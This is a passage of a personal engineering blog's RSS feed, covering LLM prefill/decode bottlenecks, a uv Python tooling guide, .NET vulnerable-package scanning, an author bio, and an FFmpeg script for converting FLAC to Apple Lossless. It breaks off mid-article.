<p>The best value depends on the workload.</p>
<h2 id="prefill-and-decode">Prefill and decode</h2>
<p>The two phases have different bottlenecks:</p>
<h3 id="prefill">Prefill</h3>
<ul>
<li>Often compute- or memory-bound</li>
<li>Cost grows with input sequence length</li>
</ul>
<h3 id="decode">Decode</h3>
<ul>
<li>Usually memory-bandwidth-bound</li>
<li>Heavily dependent on KV-cache efficiency and batching</li>
<li>TTFT (Time to First Token) = queue time + prefill latency</li>
</ul>
<p>PagedAttention mainly improves decode throughput.</p>
<p>So if you see this pattern:</p>
<ul>
<li>tokens/sec ↑</li>
<li>p99 TTFT unchanged (or worse)</li>
</ul>
<p>then decode improved, but queueing or prefill remains the bottleneck.</p>

        
      ]]></description>
    </item>
    
    <item>
      <title>uv: Managing Python Versions, Dependencies, Tools, and Scripts</title>
      <pubDate>Wed, 10 Sep 2025 00:00:00 +0000</pubDate>
      <dc:creator>Andrey Krisanov</dc:creator>
      <link>https://akrisanov.com/uv/</link>
      <guid>https://akrisanov.com/uv/</guid>
      <description xml:base="https://akrisanov.com/uv/"><![CDATA[
        <p>Published: 2025-09-10</p>
        
        
          <p><code>uv</code> provides a Cargo-like, cross-platform workflow for managing <a rel="noopener external" target="_blank" href="https://docs.astral.sh/uv/guides/projects/">Python projects</a>,
<a rel="noopener external" target="_blank" href="https://docs.astral.sh/uv/guides/tools/">command-line tools</a>,
<a rel="noopener external" target="_blank" href="https://docs.astral.sh/uv/guides/scripts/">single-file scripts</a>, and
<a rel="noopener external" target="_blank" href="https://docs.astral.sh/uv/guides/install-python/">Python versions</a>.</p>
<h2 id="installation-updates">Installation &amp; Updates</h2>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">#</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> Install</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">curl</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">LsSf</span><span style="color: light-dark(#40A02B, #A6E3A1);"> https://astral.sh/uv/install.sh</span><span style="color: light-dark(#179299, #94E2D5);"> |</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;"> sh</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">#</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> Update</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">uv</span><span style="color: light-dark(#40A02B, #A6E3A1);"> self</span><span style="color: light-dark(#40A02B, #A6E3A1);"> update</span></span></code></pre><h2 id="managing-python-versions">Managing Python Versions</h2>
<p>uv can manage Python versions instead of pyenv, mise, asdf, or OS-specific installation methods:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">#</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> List available versions</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">uv</span><span style="color: light-dark(#40A02B, #A6E3A1);"> python</span><span style="color: light-dark(#40A02B, #A6E3A1);"> list</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">#</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> Install Python 3.13</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">uv</span><span style="color: light-dark(#40A02B, #A6E3A1);"> python</span><span style="color: light-dark(#40A02B, #A6E3A1);"> install</span><span style="color: light-dark(#FE640B, #FAB387);"> 3.13</span></span></code></pre>
<ul>
<li>Works across operating systems</li>
<li>No admin rights required</li>
<li>Independent of system Python</li>
</ul>
<p>You can also use <a rel="noopener external" target="_blank" href="https://github.com/jdx/mise">mise</a> alongside uv if you prefer a global version manager.</p>
<h2 id="projects-dependencies">Projects &amp; Dependencies</h2>
<p>Initialize a project and create <code>pyproject.toml</code>:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">uv</span><span style="color: light-dark(#40A02B, #A6E3A1);"> init</span><span style="color: light-dark(#40A02B, #A6E3A1);"> myproject</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">#</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> Or specify the Python version and project name:</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">uv</span><span style="color: light-dark(#40A02B, #A6E3A1);"> init</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">p</span><span style="color: light-dark(#FE640B, #FAB387);"> 3.13</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">-name</span><span style="color: light-dark(#40A02B, #A6E3A1);"> myproject</span></span>
<span class="giallo-l"><span style="color: light-dark(#D20F39, #F38BA8);font-style: italic;">cd</span><span style="color: light-dark(#40A02B, #A6E3A1);"> myproject</span></span></code></pre>
<p>Sync dependencies:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">uv</span><span style="color: light-dark(#40A02B, #A6E3A1);"> sync</span></span></code></pre>
<p>Add dependencies:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">uv</span><span style="color: light-dark(#40A02B, #A6E3A1);"> add</span><span style="color: light-dark(#40A02B, #A6E3A1);"> litestar</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">uv</span><span style="color: light-dark(#40A02B, #A6E3A1);"> add</span><span style="color: light-dark(#40A02B, #A6E3A1);"> pytest</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">-dev</span></span></code></pre>
<p>Generate a cross-platform lockfile, similar to <code>Pipfile.lock</code> or <code>poetry.lock</code>:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">uv</span><span style="color: light-dark(#40A02B, #A6E3A1);"> lock</span></span></code></pre>
<p>The lockfile is cross-platform, so it can be generated on Windows and used for deployment on Linux.</p>
<h2 id="virtual-environments">Virtual Environments</h2>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">#</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> Create and activate a virtual environment</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">uv</span><span style="color: light-dark(#40A02B, #A6E3A1);"> venv</span></span>
<span class="giallo-l"><span style="color: light-dark(#D20F39, #F38BA8);font-style: italic;">source</span><span style="color: light-dark(#40A02B, #A6E3A1);"> .venv/bin/activate</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">#</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> Or run in the environment without activating it</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">uv</span><span style="color: light-dark(#40A02B, #A6E3A1);"> run</span><span style="color: light-dark(#40A02B, #A6E3A1);"> python</span><span style="color: light-dark(#40A02B, #A6E3A1);"> app.py</span></span></code></pre><h2 id="scripts">Scripts</h2>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">#</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> Create a new script</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">uv</span><span style="color: light-dark(#40A02B, #A6E3A1);"> init</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">-script</span></span></code></pre><pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="python"><span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">#</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> /// script</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">#</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> requires-python = &quot;&gt;=3.13&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">#</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> dependencies = [</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">#</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">     &quot;requests&quot;,</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">#</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> ]</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">#</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> ///</span></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">import</span><span> requests</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#FE640B, #FAB387);font-style: italic;">print</span><span style="color: light-dark(#7C7F93, #9399B2);">(</span><span>requests</span><span style="color: light-dark(#7C7F93, #9399B2);">.</span><span style="color: light-dark(#1E66F5, #89B4FA);">get</span><span style="color: light-dark(#7C7F93, #9399B2);">(</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">https://akrisanov.com</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#7C7F93, #9399B2);">)</span><span style="color: light-dark(#7C7F93, #9399B2);">)</span></span></code></pre>
<p>Run a single-file script and install its declared dependencies automatically:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">uv</span><span style="color: light-dark(#40A02B, #A6E3A1);"> run</span><span style="color: light-dark(#40A02B, #A6E3A1);"> script.py</span></span></code></pre>
<p>On Unix-like systems, add <code>#!/usr/bin/env -S uv run</code> and run <code>chmod +x script.py</code> to make the script executable.</p>
<h2 id="tools">Tools</h2>
<p>Install CLI tools in environments isolated from the system Python:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">uv</span><span style="color: light-dark(#40A02B, #A6E3A1);"> tool</span><span style="color: light-dark(#40A02B, #A6E3A1);"> install</span><span style="color: light-dark(#40A02B, #A6E3A1);"> ruff</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> #</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> replaces pipx</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">uv</span><span style="color: light-dark(#40A02B, #A6E3A1);"> tool</span><span style="color: light-dark(#40A02B, #A6E3A1);"> install</span><span style="color: light-dark(#40A02B, #A6E3A1);"> httpie</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">uvx</span><span style="color: light-dark(#40A02B, #A6E3A1);"> httpie</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> #</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> Run the tool without installing it permanently</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">#</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> --with [temp dependency] runs jupyter in the current project</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">#</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> without adding it and its dependencies to the project</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">uv</span><span style="color: light-dark(#40A02B, #A6E3A1);"> run</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">-with</span><span style="color: light-dark(#40A02B, #A6E3A1);"> jupyter</span><span style="color: light-dark(#40A02B, #A6E3A1);"> jupyter</span><span style="color: light-dark(#40A02B, #A6E3A1);"> notebook</span></span></code></pre>
<p><code>uv run</code> checks the lockfile and environment before each command and updates them when needed.</p>
<p>For local CLI tool development:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">uv</span><span style="color: light-dark(#40A02B, #A6E3A1);"> init</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">-package</span><span style="color: light-dark(#40A02B, #A6E3A1);"> your_tool</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">uv</span><span style="color: light-dark(#40A02B, #A6E3A1);"> tool</span><span style="color: light-dark(#40A02B, #A6E3A1);"> install</span><span style="color: light-dark(#40A02B, #A6E3A1);"> .</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">e</span></span></code></pre>
<p>See the <a rel="noopener external" target="_blank" href="https://docs.astral.sh/uv/concepts/tools/">tools documentation</a>.</p>
<h2 id="replacing-pip-tools">Replacing pip-tools</h2>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">uv</span><span style="color: light-dark(#40A02B, #A6E3A1);"> pip</span><span style="color: light-dark(#40A02B, #A6E3A1);"> compile</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> #</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> replaces pip-tools compile</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">uv</span><span style="color: light-dark(#40A02B, #A6E3A1);"> pip</span><span style="color: light-dark(#40A02B, #A6E3A1);"> sync</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">    #</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> replaces pip-tools sync</span></span></code></pre><h2 id="building-and-publishing-packages">Building and Publishing Packages</h2>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">#</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> Build a `.whl` package for PyPI</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">uv</span><span style="color: light-dark(#40A02B, #A6E3A1);"> build</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">#</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> Upload your Python package to PyPI</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">uv</span><span style="color: light-dark(#40A02B, #A6E3A1);"> publish</span></span></code></pre><h2 id="pre-commit-hooks">Pre-commit Hooks</h2>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">uv</span><span style="color: light-dark(#40A02B, #A6E3A1);"> run</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">-with</span><span style="color: light-dark(#40A02B, #A6E3A1);"> pre-commit-uv</span><span style="color: light-dark(#40A02B, #A6E3A1);"> pre-commit</span><span style="color: light-dark(#40A02B, #A6E3A1);"> run</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">-all-files</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">pre-commit-uv</span></span></code></pre><h2 id="github-actions">GitHub Actions</h2>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="yaml"><span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">a</span><span style="color: light-dark(#40A02B, #A6E3A1);">stral-sh/setup-uv</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> #</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> brings UV to GitHub Actions</span></span></code></pre><h2 id="docker">Docker</h2>
<p>The official Docker images include uv and Python:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="docker"><span class="giallo-l"><span>ghcr.io/astral-sh/uv:latest</span></span></code></pre>
<p>See also Hynek Schlawack’s <a rel="noopener external" target="_blank" href="https://hynek.me/articles/docker-uv/">Production-ready Python Docker Containers with uv</a>.</p>
<h2 id="workspaces">Workspaces</h2>
<p>Use a <a rel="noopener external" target="_blank" href="https://docs.astral.sh/uv/concepts/projects/workspaces/">workspace</a> to manage multiple packages together.</p>
<p>For example, a repository can contain a FastAPI application and several libraries, each maintained as a separate Python
package.</p>
<p>Each package has its own <code>pyproject.toml</code>, while the workspace uses one lockfile and a consistent set of dependencies.</p>
<h2 id="notes-and-limitations">Notes and Limitations</h2>
<ul>
<li><code>uv sync</code> respects <code>.python-version</code>, but the <code>UV_PYTHON</code> environment variable takes precedence</li>
<li>Uses <a rel="noopener external" target="_blank" href="https://github.com/astral-sh/python-build-standalone">python-build-standalone</a>, whose builds can be slightly slower
than system builds (~1–3%) and lack CPU-specific optimizations</li>
<li>The cache can grow large</li>
<li>Legacy projects may fail if they depended on pip’s older, looser dependency resolution rules</li>
<li>Faster dependency installation can reduce CI and container build times</li>
<li>Astral maintains python-build-standalone, which provides Python builds that do not require installers</li>
</ul>
<h2 id="further-reading">Further Reading</h2>
<ul>
<li><a rel="noopener external" target="_blank" href="https://docs.astral.sh/uv/concepts/projects/dependencies/#dependency-sources">Dependency Sources</a>
— explains how uv resolves dependencies</li>
<li><a rel="noopener external" target="_blank" href="https://blog.pecar.me/uv-with-django">UV with Django</a></li>
<li><a rel="noopener external" target="_blank" href="https://peps.python.org/pep-0723/">PEP 723 – Inline script metadata</a></li>
<li><a rel="noopener external" target="_blank" href="https://github.com/astral-sh/uv/issues/5903">WIP: Using uv run as a task runner</a></li>
</ul>

        
      ]]></description>
    </item>
    
    <item>
      <title>Identifying Vulnerable Dependencies in .NET Projects</title>
      <pubDate>Tue, 07 May 2024 00:00:00 +0000</pubDate>
      <dc:creator>Andrey Krisanov</dc:creator>
      <link>https://akrisanov.com/dotnet-list-vulnerable-packages/</link>
      <guid>https://akrisanov.com/dotnet-list-vulnerable-packages/</guid>
      <description xml:base="https://akrisanov.com/dotnet-list-vulnerable-packages/"><![CDATA[
        <p>Published: 2024-05-07</p>
        
        
          <p>At a previous company, I worked on a decade-old .NET SaaS codebase that had been through several framework upgrades.
The upgrades were incomplete, and many NuGet packages in the solution were outdated or deprecated by the time I
became the engineering manager.</p>
<p>I rely on linting, static analysis, and formatting tools in Python and Go projects, so I reviewed the equivalent
tooling available for .NET. I started by scanning every NuGet package in the solution for known vulnerabilities.</p>
<p>The .NET CLI provides this check through <code>dotnet list package --vulnerable</code>. Developers can run it locally, but an
automated check prevents it from being missed.</p>
        
      ]]></description>
    </item>
    
    <item>
      <title>About</title>
      <pubDate>Tue, 01 Sep 2026 00:00:00 +0000</pubDate>
      <dc:creator>Andrey Krisanov</dc:creator>
      <link>https://akrisanov.com/about/</link>
      <guid>https://akrisanov.com/about/</guid>
      <description xml:base="https://akrisanov.com/about/"><![CDATA[
        <p>Published: 2024-01-01</p>
        <p>Updated: 2026-09-01</p>
        
          <p>Hi,</p>
<p>My name is Andrey Krisanov, and I'm a Staff Software Engineer at Severstal. I build AI infrastructure, ML systems, and distributed systems. A large part of my current work is production LLM serving.</p>
<p>I live in Moscow with my wife and son. We're preparing for a major move and the next chapter of our lives.</p>
<p>Outside work, I read, take long walks, spend time with my family, travel when I can, and try to stay in shape.</p>
<p>My main technical interests are distributed systems, GPU infrastructure, Kubernetes, Go, developer tooling, and running reliable software in production. On this site, I write about the systems I build, problems I investigate, and things I learn along the way.</p>
<p>I'm also on other platforms:</p>
<ul>
<li>For open-source projects and programming work, visit my <a rel="noopener external" target="_blank" href="https://github.com/akrisanov">GitHub profile</a>.</li>
<li>For shorter notes and updates, follow me on <a rel="noopener external" target="_blank" href="https://x.com/_akrisanov">X</a>. You can also reach me directly on <a rel="noopener external" target="_blank" href="https://t.me/akrisanov">Telegram</a>.</li>
<li>For more about my professional experience, see my <a rel="noopener external" target="_blank" href="https://www.linkedin.com/in/akrisanov/">LinkedIn profile</a> or download my <a href="/files/andrey-krisanov-resume.pdf">résumé</a>.</li>
</ul>

        
      ]]></description>
    </item>
    
    <item>
      <title>Convert FLAC to Apple Lossless with FFmpeg</title>
      <pubDate>Mon, 23 Oct 2023 00:00:00 +0000</pubDate>
      <dc:creator>Andrey Krisanov</dc:creator>
      <link>https://akrisanov.com/convert-flac-to-apple-lossless-with-ffmpeg/</link>
      <guid>https://akrisanov.com/convert-flac-to-apple-lossless-with-ffmpeg/</guid>
      <description xml:base="https://akrisanov.com/convert-flac-to-apple-lossless-with-ffmpeg/"><![CDATA[
        <p>Published: 2023-10-23</p>
        
        
          <p>I use Apple Music for most of my music collection. I also buy rare or remastered CD releases that are sometimes
distributed as FLAC files, which Apple Music does not support. I convert them to Apple Lossless Audio Codec (ALAC)
before importing them into my library.</p>
<p>Install FFmpeg with Homebrew:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">brew</span><span style="color: light-dark(#40A02B, #A6E3A1);"> install</span><span style="color: light-dark(#40A02B, #A6E3A1);"> ffmpeg</span></span></code></pre><p class="media-caption code-caption">Install FFmpeg with Homebrew</p>
<p>Open the directory containing the FLAC files and run:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">for</span><span> file</span><span style="color: light-dark(#8839EF, #CBA6F7);"> in</span><span style="color: light-dark(#40A02B, #A6E3A1);"> *</span><span style="color: light-dark(#40A02B, #A6E3A1);">.</span><span style="color: light-dark(#40A02B, #A6E3A1);">f</span><span style="color: light-dark(#40A02B, #A6E3A1);">l</span><span style="color: light-dark(#40A02B, #A6E3A1);">a</span><span style="color: light-dark(#40A02B, #A6E3A1);">c</span><span style="color: light-dark(#7C7F93, #9399B2);">;</span><span style="color: light-dark(#8839EF, #CBA6F7);"> do</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">  ffmpeg</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">i</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &quot;</span><span>$</span><span>file</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">acodec</span><span style="color: light-dark(#40A02B, #A6E3A1);"> alac</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">vcodec</span><span style="color: light-dark(#40A02B, #A6E3A1);"> copy</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &quot;</span><span style="color: light-dark(#7C7F93, #9399B2);">$(</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">basename</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &quot;</span><span>$</span><span>file</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);"> .flac</span><span style="color: light-dark(#7C7F93, #9399B2);">)</span><span style="color: light-dark(#40A02B, #A6E3A1);">.m4a</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">done</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">mkdir</span><span style="color: light-dark(#40A02B, #A6E3A1);"> flac</span><span style="color: light-dark(#40A02B, #A6E3A1);"> alac</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">for</span><span> file</span><span style="color: light-dark(#8839EF, #CBA6F7);"> in</span><span style="color: light-dark(#40A02B, #A6E3A1);"> *</span><span style="color: light-dark(#40A02B, #A6E3A1);">.</span><span style="color: light-dark(#40A02B, #A6E3A1);">f</span><span style="color: light-dark(#40A02B, #A6E3A1);">l</span><span style="color: light-dark(#40A02B, #A6E3A1);">a</span><span style="color: light-dark(#40A02B, #A6E3A1);">c</span><span style="color: light-dark(#7C7F93, #9399B2);">;</span><span style="color: light-dark(#8839EF, #CBA6F7);"> do</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">  mv</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &quot;</span><span>$</span><span>file</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);"> flac/</span></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">done</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">for</span><span> file</span><span style="color: light-dark(#8839EF, #CBA6F7);"> in</span><span style="color: light-dark(#40A02B, #A6E3A1);"> *</span><span style="color: light-dark(#40A02B, #A6E3A1);">.</span><span style="color: light-dark(#40A02B, #A6E3A1);">m</span><span style="color: light-dark(#40A02B, #A6E3A1);">4</span><span style="color: light-dark(#40A02B, #A6E3A1);">a</span><span style="color: light-dark(#7C7F93, #9399B2);">;</span><span style="color: light-dark(#8839EF, #CBA6F7);"> do</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">  mv</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &quot;</span><span>$</span><span>file</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);"> alac/</span></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">done</span></span></code></pre><p class="media-caption code-caption">Convert FLAC files to ALAC and organize the output</p>
<figure class="article-figure">
  <img
    src="/images/Screenshot-2023-10-22-at-18.26.25.webp"
    alt="FLAC files for Susumu Hirasawa's album Siren in Finder"
    width="1160"
    height="900"
    loading="lazy"
    decoding="async"
  />
  <figcaption class="media-caption">Susumu Hirasawa – Siren [Limited Edition]</figcaption>
</figure>
<p>The script converts each FLAC file to ALAC in an <code>.m4a</code> container. It moves the source files to <code>flac</code> and the
converted files to <code>alac</code>:</p>
<figure class="article-figure">
  <img
    src="/images/Screenshot-2023-10-22-at-18.27.10.webp"
    alt="Converted M4A files in the ALAC directory in Finder"
    width="1160"
    height="1106"
    loading="lazy"
    decoding="async"
  />
  <figcaption class="media-caption">Converted ALAC files in Finder</figcaption>
</figure>
<p>Drag the <code>alac</code> directory into Apple Music to import the album and upload its tracks to the cloud.</p>
<figure class="article-figure">
  <img
